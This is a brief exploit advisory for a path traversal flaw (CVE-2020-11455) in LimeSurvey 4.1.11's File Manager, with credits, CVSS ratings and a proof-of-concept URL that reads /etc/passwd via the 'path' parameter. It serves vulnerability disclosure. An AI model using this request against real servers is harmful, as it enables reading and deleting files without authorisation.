LimeSurvey 4.1.11 File Manager Path Traversal

2020.04.06

Credit: Matthew Aberegg, Michael Burkey

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2020-11455

CWE: CWE-22

Ogólna skala CVSS: 5/10

Znaczenie: 2.9/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Brak

Wpływ na dostępność: Brak

# Exploit Title: LimeSurvey 4.1.11 - 'File Manager' Path Traversal
# Date: 2020-04-02
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.limesurvey.org
# Version: LimeSurvey 4.1.11+200316
# Tested on: Ubuntu 18.04.4
# CVE : CVE-2020-11455

# Vulnerability Details
# Description : A path traversal vulnerability exists within the "File Manager" functionality of LimeSurvey
# that allows an attacker to download arbitrary files.  The file manager functionality will also 
# delete the file after it is downloaded (if the web service account has permissions to do so), 
# allowing an attacker to cause a denial of service by specifying a critical LimeSurvey configuration file.
Vulnerable Parameter : "path"


# POC
https://TARGET/limesurvey/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd

See this note in RAW Version

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LimeSurvey 4.1.11 File Manager Path Traversal

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